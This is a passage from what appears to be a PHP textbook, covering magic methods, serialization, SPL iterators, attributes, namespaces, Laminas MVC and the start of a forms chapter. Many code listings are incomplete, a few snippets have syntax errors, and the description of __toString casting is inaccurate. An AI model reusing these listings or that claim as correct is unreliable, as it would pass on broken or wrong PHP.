rally depends on the context. In contrast to a real constant, __METHOD__ provides a dif-
ferent value depending on the method in which it is located.
<?php
class Computer {
public function start() {
echo "This is the method " .__METHOD__;
}
}
Note
If __METHOD__ is within a function and not within a method, then only the function is
displayed (see Figure 11.38). For this purpose, however, there is also __FUNCTION__.
Tip
PHP offers other magical constants. __FILE__ returns the name and location of the cur-
rent script file, __LINE__ the respective line number of the file.
11.4.4 "__toString()"
The __toString() method is used when an object is explicitly converted into a string.
This explicit conversion takes place with (string) in front of the object name:
(string) $Object;
Incidentally, the return value of this conversion is the previous data type (i.e., object)
and the signature or number of the object.
After the conversion, accessing the object only returns the __toString() method. Con-
sider the following simple example; you can see the output in Figure 11.39.
<?php
class Computer {
public function __toString() {
return "The output for the method as a string";
}
}
$MyComputer = new Computer();
echo(string) $MyComputer ."<br />";
echo $MyComputer;
?>
Figure 11.39 At the Top You Can See the Object Signature, At the Bottom the Return of the
Object That Was Transformed Into a String
<?php
class Computer {
public $CPU = "The CPU";
}
class Car {
public $Wheels = 4;
}
function change(Computer $Object) {
$Object->CPU = "4 GHZ";
}
$MyCar = new Car();
change($MyCar);
?>
Note
The class name technique is important in object-oriented languages that use strict typ-
ing. PHP, on the other hand, is loosely typed; that is, you do not have to specify any data
types. Specifying the class type is therefore an exception. In accordance with the archi-
tecture of PHP, the check only takes place when the script is executed (runtime).
The error message when specifying the class type is not always desirable. For this rea-
son, there is another keyword to determine whether an object is an instance of a class:
instanceof. The syntax looks like this:
The return value of this construct is a truth value. With the instanceof operator, you
can quickly rewrite the script with class types and simply check whether the object
passed to the change() function comes from the Computer class, as in the following list-
ing. Of course, this gives you more reaction options, but you also have to type a little
more code. Figure 11.41 shows the output.
<?php
class Computer {
public $CPU = "The CPU";
}
class Car {
public $Wheels = 4;
}
function change($Object) {
if ($Object instanceof Computer) {
$Object->CPU = "4 GHZ";
} else {
echo "Hoppsa, wrong class!";
}
}
$MyCar = new Car();
change($MyCar);
?>
<?php
class Computer {
public $CPU = "The CPU";
public function start() {
echo "Computer is started.";
}
}
$MyComputer = new Computer();
$MyLaptop = new Computer();
In the preceding example, the first comparison is true because the two objects are of
the same class and have the same values for the CPU property. The second comparison
with exact equality is false because only the same instance would be exactly the same.
Only
Note
If instances are passed to functions and methods, this is done as a reference in PHP.
Accordingly, it is still the same instance. A check for exact equality therefore returns
true. Cloned object instances, on the other hand, are no longer exactly the same as the
original, but only the same.
<?php
class Computer {
public $CPU = "The CPU";
public function start() {
Note
If possible, you should not edit the serialized string directly. Although you can often
read and possibly change the value of the property, any small change to the binary
code will result in incorrect deserialization.
<?php
class Computer {
public $CPU = "The CPU";
public $RAM = "Not used";
public function start() {
echo "Computer is started.";
}
public function __sleep() {
return array("CPU");
}
}
$MyComputer = new Computer();
$MyComputer->CPU = "4 GHZ";
$MyComputer->RAM = "4 GB";
$serial = serialize($MyComputer);
$MyComputer2 = unserialize($serial);
echo $MyComputer2->CPU ."<br />";
echo $MyComputer2->RAM;
?>
The CPU property is retained and retains the value 4 GHZ. RAM, on the other hand, is not
protected in the array and therefore reverts to the value in the class, Not used (see Figure
11.43).
Figure 11.43 The CPU Is Retained, But the Information on the Working Memory Is Not
The __wakeup() method is the counterpart to __sleep(). Here, for example, you can
assign a new value to unsaved properties (see Figure 11.44) or reestablish a database
connection.
class Computer {
public $CPU = "The CPU";
public $RAM = "Not used";
public function start() {
echo "Computer is started.";
}
public function __sleep() {
return array("CPU");
}
public function __wakeup() {
$this->RAM = "2 GB";
}
}
Figure 11.44 "__wakeup()" Defines a New Value for the "RAM" Property
In practice, the whole thing looks like this: The foreach loop goes through all the prop-
erties. You save the values in the $value variable, and these are then output within the
loop (see Figure 11.45).
<?php
class Computer {
public $CPU = "The CPU";
public $RAM = 1024;
}
$MyComputer = new Computer();
foreach ($MyComputer as $value) {
echo $value ."<br />";
}
?>
<?php
class Computer {
public $CPU = "The CPU";
public $RAM = 1024;
}
$MyComputer = new Computer();
foreach ($MyComputer as $name => $value) {
echo "The property $name has the value: $value <br />";
}
?>
Figure 11.46 The Name and Value of the Property Are Displayed
11.4.9 Iteration
Whether database results, arrays, files, or session variables, all of these use cases require
longer lists of results to be run through. Programmers understandably want to stan-
dardize this process, also known as iteration, as one iteration can then be used for differ-
ent tasks. This is why the Iterator and IteratorAggregate interfaces were implemented
in PHP. And this is how it works:
쐍 IteratorAggregate defines only one method, getIterator(), which returns an itera-
tor object. This interface is implemented in the class in which the element to be
iterated is located.
쐍 Iterator is given its own class, which is given a few fixed methods. You must then
program the functionality of these methods.
쐍 The constructor generally receives the element that is to be run through and saves it
in a property.
쐍 current() returns the value of the part element currently being run through.
쐍 next() jumps to the next subelement.
쐍 rewind() jumps to the first subelement.
쐍 key() returns the key of the current subelement, which is usually also stored in a
property.
쐍 valid() determines whether partial elements are still present.
The following example is a practical implementation that runs through an array. Figure
11.47 shows its output.
<?php
class DriveIterator implements Iterator {
private $Target;
private $Index;
function __construct($Target) {
$this->Target = $Target;
}
<?php
class Computer {
private $cpu = "The CPU";
public function setCPU($cpu) {
echo 'The computer has ' . $cpu;
}
}
$refClass = new ReflectionClass('Computer');
$computer = new Computer();
$method = $refClass->getMethod('setCPU');
echo $method;
echo '<br />';
$method->invoke($computer, '4 CPUs');
?>
Here, a method is executed and inspected via a reflection class. The invoke() method is
used for execution. There is also invokeArgs(Object, Array), which can be used to pass
several parameters as an array (see Figure 11.48).
Note
You can learn more at http://s-prs.co/v602274.
11.4.11 SPL
The Standard PHP Library is based on the Standard Template Library (STL) from C++.
What is this library? It’s a set of firmly defined classes and interfaces for iterators and
other important standard tasks.10 An iterator is a programming construct that iterates
through other elements. The simplest type of iterator is a loop, as you’ve seen in Sec-
tion 11.4.8. Here we start with a similar example, which is then extended to include SPL
functionality.
10 The basis of SPL is the design pattern idea, and the father of SPL in PHP is Marcus Börger.
The following example divides a string with comma-separated values11 into several
individual values and runs through them. Figure 11.49 shows the output of this exam-
ple:
<?php
$text = 'comma,separated,values,in bulk';
$parts = explode(',', $text);
foreach ($parts as $value) {
echo $value .'<br />';
}
?>
The iterator is the foreach loop, which iterates through the array created by explode().12
However, this type of implementation is not very easy to replace or change. You also
have little influence on the effect of the iterator. This is why there is the iterator inter-
face, which you can use to create your own iterator class.
But first you should look at the goal behind it. The following code creates a new object
of the CSV class. This takes the comma-separated value. The object can then simply be
iterated using foreach:
For this to be possible, the CSV class must first exist. This class implements the Itera-
torAggregate interface; that is, it is a collection point for the iterator, which must then
be implemented in a separate class.
11 Having a comma-separated values (CSV) formatted list is quite common in practice. Excel, for
example, relies on this type of export; many database systems, web stores, CMS, and the like also
use this type of format. Here we use simplified CSV without line breaks—that is, without differen-
tiating between different result series in a database, for example.
12 String manipulation options can be found in Chapter 7.
In principle, the CSV class only accepts the string with the comma-separated values in the
constructor. The getIterator() method is provided by IteratorAggregate and instanti-
ates the actual iterator object:
The Iterator object is instantiated by the CSVIterator class, which you must also write
yourself. It implements the Iterator interface, which is predefined by PHP. The method
defined in this interface needs the foreach loop to know how to iterate through the
respective values. Let's go through this class method by method:
쐍 The class itself implements the Iterator class. One property is intended for the array
with the CSV values, the other for the current position of the iterator:
쐍 In the constructor, the transferred CSV string is separated using commas and
assigned to the property:
쐍 The next() method controls the step-by-step iteration of the iterator. Here, the posi-
tion is simply incremented by 1:
쐍 To return to the first starting position, the rewind() method sets the position to 0:
쐍 key() returns the current position, which corresponds to the index of the array:
쐍 current() returns the value of the current position. This is also the value in the
foreach:
쐍 valid() checks whether the last position of the array has not yet been reached. It
returns a truth value:
<?php
class CSVIterator implements Iterator {
private $csv;
private $position;
$this->csv = $csv;
}
The output is similar to the simple foreach loop, as shown previously in Figure 11.49.
Tip
In practice, you should include the IteratorAggregate and Iterator classes in one or
more class files or a separate library. Here, everything is in "one" listing to maintain
clarity in printed form.
The SPL now extends the normal iterator interface with additional classes and inter-
faces for iterator processing. In addition, there are other classes and interfaces, which
you can read about in detail at www.php.net/spl. First, however, focus on iterator han-
dling.
SPL has two classes, FilterIterator and LimitIterator, that are used specifically for fil-
tering during an iterator pass. In other words, they form an outer iterator for the inner
iterator.13 To set up such a scenario, you must alter Listing 11.60 a little. In the call to
getIterator() in the CSV class, you use the outer iterator (here, FilterIterator) with the
inner iterator as the first parameter. The second parameter here is the string that serves
as the filter:
13 Nesting several iterators is also possible. To do this, pass the inner iterator to the first outer itera-
tor and then the first outer iterator to the second outer iterator as the first parameter of the con-
structor.
This is followed by filtering. To access the currently iterated element in the inner itera-
tor, use the getInnerIterator() method and then current() for the value of the current
element (or key() for the position):
The filtering in this case is very simple. All values with a comma are filtered out. How-
ever, the example shows the benefits very clearly. You have an iterator and can then fil-
ter it from the outside —that is, with another class.
The following listing shows the complete code with the highlighted SPL elements.
Figure 11.50 shows the output.
<?php
class CSVIterator implements Iterator {
private $csv;
private $position;
$this->position = 0;
}
public function key(): int {
return $this->position;
}
public function current(): string {
return $this->csv[$this->position];
}
public function valid(): bool {
return $this->position <count($this->csv);
}
}
Note
The additional methods differ depending on the class or interface. LimitIterator uses
the seek() method instead of accept(), for example. However, it already knows a stan-
dard behavior. In the constructor, you specify as the second parameter after the inner
iterator from which element to start iterating. As the third parameter, you can specify
the maximum number of elements to be iterated.
SPL Possibilities
The possibilities of SPL are not limited to pure iterator filtering. In fact, the classes and
interfaces can be used in various areas. Here is a brief overview (you can find a more
detailed description at http://s-prs.co/v602275):
쐍 You have already seen the use of iterators in the example. In addition to Filter-
Iterator and LimitIterator, there are several others, like RecursiveIterator for a
recursive iteration.
쐍 The SPL currently offers two iterators for directories: one for traversing directories
and one for recursive traversal of nested directories.
쐍 SimpleXMLIterator is a recursive iterator for SimpleXML.
쐍 There is a suitable object for arrays and the option of using an iterator and a recur-
sive iterator. The Countable interface can also be used as a control level for the
count() function, which counts the scalar values of an array by default.
쐍 The SPL also implements several classes for error handling. Interfaces for the
Observer design pattern are also included.
The great thing about the SPL structure and the associated classes is that the iterators
build on each other. This allows you to create your own complete structure from the
specific to the general.
Note
The SPL functions are very powerful and some are also optimized for special applica-
tions. GlobIterator can be used, for example, to go through files and data structures.
SplFileObject can be used to simplify the processing of CSV files, as used as an exam-
ple in the last section.
The following simple example sets separators and wrapping and then makes the CSV
data accessible via the setCsvControl() method of SplFileObject. The data is then
returned by the fgetcsv() method directly for each line as an array, as shown in Figure
11.51.
<?php
$file = new SplFileObject('test.csv');
$separator = ';';
$wrap = "\n";
$file->setCsvControl($separator, $wrap);
echo '<pre>';
while ($file->valid()) {
$data = $file->fgetcsv();
var_dump($data);
$file->next();
}
echo '</pre>';
?>
Listing 11.62 CSV via SPL ("spl_csv.php")
Note
The road to attributes in PHP 8 was a rocky one. It was still relatively clear that they
would exist, but the future syntax was much less clear. If you are interested in the
background, you can find the original mail threads at http://s-prs.co/v602276.
But now to the syntax of attributes. They always start with #[ and end with ]. And each
attribute consists of two components: the definition and the use.
The definition is always made with the Attribute keyword and an associated class. The
name of the class is the name of the attribute:
#[Attribute]
class Installation {
public function __construct(public string $value = 'Windows') {
}
}
This means that you define the Installation attribute with these lines. You use the con-
structor to define a parameter with the name value of type string for this attribute.
To use the attribute now, use the same syntax, except that you can insert the name and
define corresponding values for the use of the parameters:
#[Installation(value: 'Mac')]
class Computer {
The definition of parameters works in the same way as here with named parameters,
but also with the normal function parameters. Both values and constants can be used
as parameters:
#[Installation('Mac')]
class Computer {
The last lines have shown this for a class, but the same also works for a method. Again,
first the definition:
#[Attribute]
class Operation {
public function __construct(public string $type = 'Start') {
}
}
#[Operation(type: 'shutdown')]
function shutdown(int $seconds = 20) {
An attribute can be used multiple times and also can be used for all types of elements
such as classes, methods, functions, and properties.
Note
It is possible to reduce an attribute to only one purpose—for example, only for one
class, method, function, or property. The TARGET_CLASS, TARGET_METHOD, TARGET_FUNC-
TION, and TARGET_PROPERTY constants accomplish this. The values for these are speci-
fied in the definition of the attribute:
#Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_FUNCTION)]
Various purposes can be combined here with |. The default value if no purpose is
defined is TARGET_ALL.
By default, attributes may only be defined once with one value per use. You can change
this with the IS_REPEATABLE constant:
#Attributes(Attributes::IS_REPEATABLE)]
The insert then looks like this, for example:
#[Installation('Windows')]
#[Installation(value: 'Mac')]
class Computer {
IS_REPEATABLE can be combined with | and with the other constants to reduce the pur-
pose.
This concludes the definition and use of the attributes. Now we want to access the attri-
butes via the Reflection API. The central method for this is getAttributes(). It returns
an array with the attributes. Here is the call for the class:
This provides the attributes of the class. In the next step, we access the method and
retrieve its attributes:
dumpAttributes($refClass->getMethod('shutdown')
->getAttributes(operation::class));
function dumpAttributes($attributes) {
foreach ($attributes as $attribute) {
var_dump($attribute->getName());
var_dump($attribute->getArguments());
var_dump($attribute->newInstance());
}
}
The next example shows the complete script with two attributes. In this script, we use
strict typing, which you will remember from Chapter 6. This means, for example, that
type differences between values in the attribute definition and in the attribute use of
PHP would be reported back as TypeError.
<?php
declare(strict_types=1);
#[Attribute]
class Installation {
public function __construct(public string $value = 'Windows') {
}
}
#[Attribute]
class Operation {
public function __construct(public string $type = 'Start') {
}
}
#[Installation(value: 'Mac')]
class Computer {
public function __construct(private $cpu = "The CPU") {
echo 'The computer has ' . $cpu .'<br/>';
}
#[operation(type: 'shutdown')]
function shutdown(int $seconds = 20) {
echo "Computer will shut down in $seconds seconds";
}
}
function dumpAttributes($attributes) {
foreach ($attributes as $attribute) {
var_dump($attribute->getName());
var_dump($attribute->getArguments());
var_dump($attribute->newInstance());
}
}
dumpAttributes($refClass->getAttributes());
dumpAttributes($refClass->getMethod('shutdown')->
getAttributes(Operation::class));
?>
Figure 11.52 Attributes of the Class (Top) and the Method (Bottom)
Tip
In this example, attribute definition and use are packed together in the same file for
better clarity. In practice, both are usually distributed and structured via namespaces
(discussed in the next section).
11.5 Namespaces
One OOP-related topic included in this chapter is that of namespaces: an essential core
feature of PHP for large projects. Namespaces allow you to better structure and distrib-
ute code.
Let's look back at the eventful history of PHP. On October 25, 2008, after months of
sometimes heated discussions, a major syntax decision was made for PHP 5.3—via the
IRC chat medium14—which was released over six months later. It was about name-
spaces and the separator required for the same. The choice was made to use the backs-
lash (see Figure 11.53).
Figure 11.53 The "Historical" Announcement: The Backslash Is Used for Namespaces
14 If you are interested, you can find a recording of the discussions at https://wiki.php.net/_media/
rfc/php.ns.txt.
Of course, this caused irritation. For one thing, the backslash was already in use—to
escape special characters in strings—and for another, no other relevant programming
language uses the backslash for namespaces. The favorite of many (uninformed)
observers was the double colon (::) known from OOP, also called Paamayim Neku-
dotayim. But for technical reasons, this was simply out of the question, as it would have
led to ambiguities in practice. And despite all the resistance to the backslash, it at least
looks better (in this author's opinion) than the other alternatives discussed:
** ^^ %% :> :) :::
Note
You can find more information on the discussion about namespaces in the PHP wiki at
http://s-prs.co/v602277 and http://s-prs.co/v602278.
Rheinwerk_Marketing_Newsletter_Contact_Management_Person
Rheinwerk_Marketing_Newsletter_Author_Management_Person
ContentManagementSystem_Forum_UserManagement_Person
Automatic code completion in editors or not, this is hard to read and also hard to type.
Of course, you can also take a risk and simply assign a short name for the class—and
hope that the name is not used by another software component. The PEAR project, for
example, has fallen flat on its face with this, because there has always been a class called
Date there—and in PHP too. Guess who won in the end? Exactly, PEAR, which had
already been declared dead! PHP renamed the class DateTime after one version.
One possible way out of this situation is to use namespaces. This allows you to specify a
specific area that places the code of the corresponding PHP file under a kind of named
umbrella. Within this namespace, you can then use short, concise class names as the
same class names can also be used in other—naturally, differently named—namespaces.
<?php
namespace myNS;
The NAME constant and the sayHello() function are now both part of the myNS name-
space.
Tip
You can also use several namespaces in one file. To do this, simply insert curly brackets
according to the following pattern:
namespace NS1 {
/* .*/
}
namesNS2 {
/* .*/
}
include 'namespace1.inc.php';
You can then address the function via myNS\sayHello() and the constant via myNS\NAME,
with the backslash used as a separator.
<?php
include 'namespace1.inc.php';
myNS\sayHello(myNS\NAME);
?>
Note
The namespace name itself can consist of several individual identifiers, which are sepa-
rated from each other by a backslash—for example, as follows:
namespace Rheinwerk\Marketing\Newsletter\ContactManagement;
Since PHP 8, it is also possible for each individual component of the namespace name
(i.e., everything separated by backslashes) to be a reserved term. However, this is a case
of "just because you can do it, doesn't mean you have to."
The use of namespaces is therefore quite simple, but the proverbial devil can be in the
details. Because identical names are now permitted within different namespaces, side
effects can occur if, for example, a namespace creates a function that has been imple-
mented simultaneously in another namespace or directly within PHP. PHP offers some
help and techniques for this.
<?php
namespace myNS;
namespace\sayHello(namespace\NAME);
?>
In the code from Listing 11.66, the namespace prefix would not have been necessary at all
as there is only one function, sayHello(), and only one constant, NAME. However, this
technique can be very useful in more complex code. Instead of namespace, you can also
specify the explicit namespace name—but you will then have to adapt this reference
again if you ever need to change the namespace name.
If, on the other hand, you want to access a function, class, or constant integrated in PHP
but have accidentally chosen exactly the same identifier within the current name-
space, you can access the internal PHP implementation by preceding it with a backs-
lash. Assuming that PHP—like our myNS namespace—has a sayHello() function, you
can call the PHP function as follows, regardless of which namespace you are in:
\sayHello()
Tip
Speaking of which, if you would like to have the current namespace as a character
string, the __NAMESPACE__ constant contains exactly this information.
becomes apparent when the use keyword (also available since PHP 5.3) is used. This
"imports" a namespace into the current file. However, the term import is a little mis-
leading: the corresponding classes are not loaded automatically as would be the case
with other programming languages. Instead, an alias or short name is simply created
under which the classes, functions, and constants in the namespace can be accessed.
As a starting point for a small example, we continue to use the namespace from Listing
11.64 in the namespace1.inc.php file. Using use, we create an alias for this namespace—
in our example, simply n:
use myNS as n;
You could also just use myNS; then you also create an alias—namely, myNS. Not much is
gained here, but it is practical for longer namespace names. Do you remember the fic-
titious Rheinwerk\Marketing\Newsletter\ContactManagement namespace? The
use Rheinwerk\Marketing\Newsletter\ContactManagement;
<?php
include 'namespace1.inc.php';
use myNS as n;
n\sayHello(n\NAME);
?>
However, you must still prefix the namespace alias name. The only exception is that
you can call classes directly if the associated namespace has been imported. Look at the
simple class declaration in the following listing, including the namespace.
<?php
namespace myNS;
class Greeting {
private $name;
function __construct($name) {
$this->name = $name;
}
function sayHello() {
If you import this namespace with use myNS\Greeting, you create an alias called
Greeting—similar to pure namespaces. You can then use it completely without a prefix.
<?php
include 'namespace4.inc.php';
use myNS\Greeting;
$b = new Greeting('Charlie');
$b->sayHello();
?>
You can also import several classes, constants, or functions at once in a single use
statement:
use const myNS\{versionMajor, versionMinor as minor}
Finally, it has been made possible to include an additional comma at the very end when
importing a group via use, similar to functions (see Chapter 6). The potential meaning
of this arises when the code is formatted:
use const myNS\{
versionMajor,
versionMinor,
minor,
}
Imagine that an additional constant is imported at a later point in time:
use const myNS\{
versionMajor,
versionMinor,
minor,
major,
}
Only the line highlighted in bold is new (because the comma you need was already
there before). In a version management system, only this line would be displayed as
changed. There is no difference in purely functional terms, but this is a small but
important detail.
What do architecture and software development have to do with each other? More
than it might seem at first glance. Both are about building a complete, complex "thing"
from smaller and larger building blocks—in somewhat simplified terms, of course.
Nowadays, an approach that originates from architecture is even considered a central
component of many development projects.
The Austrian architect Christopher Alexander was the lead author of the book A Pattern
Language, published in 1977. Among other things, he introduced the pattern language
concept in this book. A pattern language contains recurring problems and suitable
solutions (patterns), all within a specific subject area. Each pattern has a name.
The idea behind this is that instead of having to reinvent the wheel over and over again,
the use of a model language makes it possible to fall back on a catalog of solutions that
can be used again and again. The use of standardized terms for individual solutions
also simplifies communication as everyone involved knows what is meant by certain
terms. Examples from Alexander's model catalog include bus stop and row houses.
About 10 years later, this topic was transferred to programming, at least in the scientific
field. However, the approach only really became mainstream with the publication of
the book Design Patterns by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlis-
sides in 1994.1 This book describes numerous patterns that can solve problems in the
design phase2 of software development. Another popular publication is Patterns of
Enterprise Application Architecture by Martin Fowler, which appeared eight years later.
In science and practice, there are different notations for different patterns. What most
of them have in common, however, is that a pattern has a name and solves a problem.
Speaking of science: the actual effectiveness of patterns is very difficult to prove; pub-
lications about patterns are therefore comparatively rare. In this respect, the use of pat-
terns always involves a little faith and conviction.
1 The book has a large fan base; the authors are often affectionately referred to as the Gang of Four. But
don't get the idea of referring to the authors of this book as the Dynamic Duo or something similar.
2 Other phases include, for example, analysis, implementation, and testing. There are also some pat-
terns here, especially in the first phase mentioned.
This chapter presents three samples selected as examples. Because this book focuses
on PHP, we will leave this subject at a brief overview. However, to build a bridge to the
programming language and at the same time provide a practical reference, we show
how the respective patterns are used in the Laminas framework.
12.1 Laminas
The Laminas framework is one of the now countless PHP frameworks. It has an eventful
history behind it: it began with the Zend company when it still played a major role in
the further development of PHP. At the end of 2019, the code base was transferred to
GitHub and merged into the new Laminas project. The new framework has now found
a new home under the umbrella of the Linux Foundation and is being actively devel-
oped further.
It is always important to decide whether to rely completely on a framework or whether
to use only some parts, but this discussion is not the subject of this book. Instead, Lam-
inas serves as a demonstration object for some design patterns.3
Laminas itself is installed via Composer, a package and dependency manager, which we
present in more detail in Chapter 38. If you do not yet have Composer on your system,
please refer to that chapter first. Pyrus from the PEAR project was still supported by
Zend Framework, but is not in Laminas.
3 In terms of market share alone, the Symfony framework (https://symfony.com) is the market
leader. However, this is not relevant for the explanations in this chapter.
12.2 MVC
The first model to be to be presented goes by the name of model-view-controller or
MVC. This pattern is being used in more and more professional web applications.
Although it can also be used for smaller applications, its use only really makes sense
above a certain size.
What problem area does the MVC design pattern address? Web applications! Often all
the data in a site is contained in a single file: the complete PHP code, the HTML struc-
ture with all the data, and the layout designed in CSS. Admittedly, the examples in this
book follow a very similar approach, but do so for didactic reasons, so that you can see
everything at a glance. In a complex project, however, problems arise quickly. Take the
connection of databases, for example. If this information is contained directly in a PHP
file, all files with database access will require it. This data is therefore copied from file to
file using copy and paste. Although this works perfectly, it is error-prone and causes a
catastrophe if the connection information for the database changes.
This problem alone could be solved to some extent with include files. But there are
other annoyances that become noticeable once a project reaches a certain size. For
example, it is often the case that one person—or one team—is responsible for the
HTML and CSS interface, another team is responsible for the PHP implementation, and
yet another team is responsible for the database. If both the database queries and the
actual logic as well as the HTML and CSS layouts are in the same file, then the different
teams will step on each other's toes.
One possible solution is the MVC pattern. There are three components, each with dif-
ferent responsibilities (the exact implementation differs depending on the technology
used and taste):
쐍 Model
Contains the application data—for example, from a database. A special form of the
model is the view model, which is specifically intended for use in a view (see next
point).
쐍 View (presentation)
Displays information such as the data from the model. Essentially consists of HTML
templates.
쐍 Controller
Receives HTTP requests from the user and controls the various views.
Figure 12.2 shows an overview of MVC. The illustration shows the usual structure in
practice: A view does not know the controllers, and a model does not know which view
it belongs to.
Model
Controller View
The tripartite division of course initially increases the effort required to create the
application; in the long term, however, the additional work can be amortized by the
possibility of reuse.
So let's create a simple MVC application with the Laminas framework. With the follow-
ing call, we install the MVC framework of Laminas (the dot at the end refers to the cur-
rent directory; you can of course specify a different one):
Composer then loads a whole series of components and asks a few questions. The first,
whether you want a minimal installation, is answered with (Y) for yes, all subsequent
ones with (N) for no.
In the (possibly newly created) vendor directory, the autoload.php file is prepared
accordingly so that the following instruction makes Laminas available in a PHP script
(the long hexadecimal value will certainly be different for you, and we do not print the
code built in before it, which throws an error with old PHP versions):
<?php
return ComposerAutoloaderInite5c0ec13caac948eb49f604210254756::getLoader();
Figure 12.3 shows the installation via Composer, and Figure 12.4 shows the result of the
script call. Here, the complete folder structure has been created, including a directory
for the views.
composer serve
You can then test whether everything has worked directly in the browser: http://
localhost:8080 takes you to the start page of the application, which you can see in
Figure 12.5.
But now to the actual work. Say you want to add a new page to the application—that is, a
view, a controller, and an associated model. Let's start with the latter. Create the module/
Application/src/Model directory within the MVC application and create a file called Hello-
World.php in which you enter the code in the following listing to create a fairly simple
class. The code generates a personal lucky number for the user.
<?php
namespace Application\Model;
class HelloWorld {
public $number;
function __construct() {
$this->number = rand(1, 49);
}
}
?>
<?php
namespace Application\Controller;
use Laminas\Mvc\Controller\AbstractActionController;
use Laminas\View\Model\ViewModel;
The presentation is still missing. This mainly contains HTML and CSS, but of course we
also output the data that we have received from the model via the controller. The code in
the following listing belongs in the module/Application/view/application/hello-world/
index.phtml file:
<div id="welcome">
<h1>Hello world!</h1>
Note the hyphen in the folder name! With mixed cases, such as "HelloWorld", the indi-
vidual components are separated for the folder names. This is a precautionary measure
in the event that a web server does not distinguish between upper- and lowercase for
file and folder names.
To ensure that the whole thing can be called up, you still need to set the routing, the
assignment of a URL to the corresponding code to be called up. The file at module/
Application/config/module.config.php is already prepared but must be completed by
you. The complete file is printed in the following listing, with all inserted information
highlighted in bold.
<?php
declare(strict_types=1);
namespace Application;
use Laminas\Router\Http\Literal;
use Laminas\Router\Http\Segment;
use Laminas\ServiceManager\Factory\InvokableFactory;
return [
'router' => [
'routes' => [
'home' => [
'type' => Literal::class,
'options' => [
'route' => '/',
'defaults' => [
'controller' => Controller\IndexController::class,
'action' => 'index',
],
],
],
'application' => [
'type' => Segment::class,
'options' => [
'route' => '/application[/:action]',
'defaults' => [
'controller' => Controller\IndexController::class,
'action' => 'index',
],
],
],
'helloworld' => [
Figure 12.6 The Data from the Model Is Displayed in the View
As you can see, the driver used in the background, which takes care of the actual com-
munication with the database (Zend_Db_Adapter_Pdo_Sqlite, by the way), is not explic-
itly specified.
$driverName = strtolower($parameters['driver']);
switch ($driverName) {
case 'mysqli':
$driver = new Driver\Mysqli\Mysqli($parameters, null, null, $options);
break;
// ...
case 'pdo':
default:
if ($driverName == 'pdo' || strpos($driverName, 'pdo') === 0) {
$driver = new Driver\Pdo\Pdo($parameters);
}
}
The Driver\Pdo\Pdo driver is therefore created without our code explicitly requesting
or even knowing about the class. Strictly speaking, this is not a factory because no fac-
tory method is used, but the principle is obvious (and comparable).
This adapter is to be used in the existing MVC application. First, it is necessary to install
the laminas-db package. To do this, execute the following command directly in the proj-
ect directory:
You will then be asked whether you want to save the new package in the configuration
(see Figure 12.7). The default answer of 1 is a good choice. You can then access Laminas\
Db from the application.
Note
As of the time of publication, laminas-db was only compatible with PHP versions 8.0 to
8.2, so we could not reproduce the following steps with PHP 8.3.
Back to the actual implementation. The adapter is used to do the following things:
1. Create a SQLite database in memory.
2. Create a table.
3. Fill the table with six random numbers.
4. Read out these six random numbers.
5. Delete the table.
The prerequisite for this is that the pdo_sqlite extension is activated in php.ini (more
on this in Chapter 18). The following listing contains the complete code, added directly
to the model file from the previous example.
<?php
namespace Application\Model;
class HelloWorld {
public $numbers;
function __construct() {
$numbers = [];
$db->query(
'DROP TABLE numbers',
\Laminas\Db\Adapter\Adapter::QUERY_MODE_EXECUTE);
$this->numbers = $numbers;
}
}
?>
Now the view only needs to be updated. The list of numbers is quickly sorted numeri-
cally and then output separated by commas.
<div id="welcome">
<h1>Hello world!</h1>
usort(
$numbers,
function ($a, $b) {
return $a - $b;
}
);
You can see the final result in Figure 12.8. The random numbers from the database were
transferred to the view and sorted there.
Erich Gammaone of the Gang of Four once reported on a newsgroup posting in which
the author was very frustrated at having used only 20 of the 23 patterns from the book
by Gamma and his colleagues. A certain mixture of pragmatism and critical scrutiny is
essential when using patterns. Used correctly, however, patterns can increase the
maintainability and quality of software.
When it comes to learning HTML, forms often play a rather minor role. We also notice
this in training courses: participants often have in-depth knowledge of HTML, but if
you ask about the specifics of the form elements, you are met with questioning faces.
This raises two questions: Why are HTML forms generally not considered very import-
ant, and why do we put so much emphasis on this topic in this (very extensive) chap-
ter?
The answer was already given in the introductory note: forms are used for communica-
tion between a website’s visitors and the website itself. Otherwise, communication is
limited to clicking links, which is of course not very exciting. With forms, however,
users can enter data that can then be processed further on the server side.
This chapter shows how to do that. However, it also explains what risks can occur, what
needs to be taken into account, and what special applications are available. It is also
important to check form data (e.g., are all fields filled in?). All of this occurs very fre-
quently in practice but is sometimes neglected in the literature. In this chapter, you get
the full package.
But why are server-side technologies such as PHP so important for form handling? The
answer: With the limited possibilities of HTML and JavaScript, you cannot process the
data without PHP (or competing technologies).
13.1 Preparations
PHP form support does not require any installations. What is necessary, however, is a
basic knowledge of HTML form elements. Most of the examples in this chapter will
revolve around a very specific example form in which you can order tickets for a major
sporting event. You can never get tickets early enough: next time, it can only be better.
Many relevant form elements appear in this form—by coincidence or not. The form is
in the following listing.
<html>
<head>
<title>Order Form</title>
</head>
<body>
<h1>World Cup Ticket Service</h1>
<form>
<input type="radio" name="Salutation" value="Mr." />
Mr.
<input type="radio" name="Salutation" value="Ms." />
Ms. <br />
First name <input type="text" name="FirstName" /><br />
Last name<input type="text" name="LastName" /><br />
Email address <input type="text" name="Email" /><br />
Promo code <input type="password" name="Promo" /><br />
Number of tickets
<select name="Number">
<option value="0">Please select</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
</select><br />
Desired section in the stadium
<select name="Section[]" size="4" multiple="multiple">
<option value="north">North</option>
<option value="south">South</option>
<option value="east">East</option>
<option value="west">West</option>
</select><br />
Comments/Notes
<textarea cols="70" rows="10" name="Comments"></textarea><br />
<input type="checkbox" name="Terms" value="ok" />
I accept the terms & conditions.<br />
<input type="submit" name="Submit" value="Place order" />
</form>
</body>
</html>
In this chapter, this form (see Figure 13.1) will be expanded step by step, with each inter-
mediate step available as an individual file in the online materials for the book. First we
read the data from the form, then we move on to more advanced tasks, such as check-
ing the data entered.
Table 13.1 provides a brief overview of the form elements used, including the options
for preassigning them (this is necessary later for form validation).
#!/usr/bin/perl
print "Content-type: text/html\n\n";
if ($ENV{"REQUEST_METHOD"} eq "POST") {
read(STDIN, $data, $ENV{"CONTENT_LENGTH"});
} else {
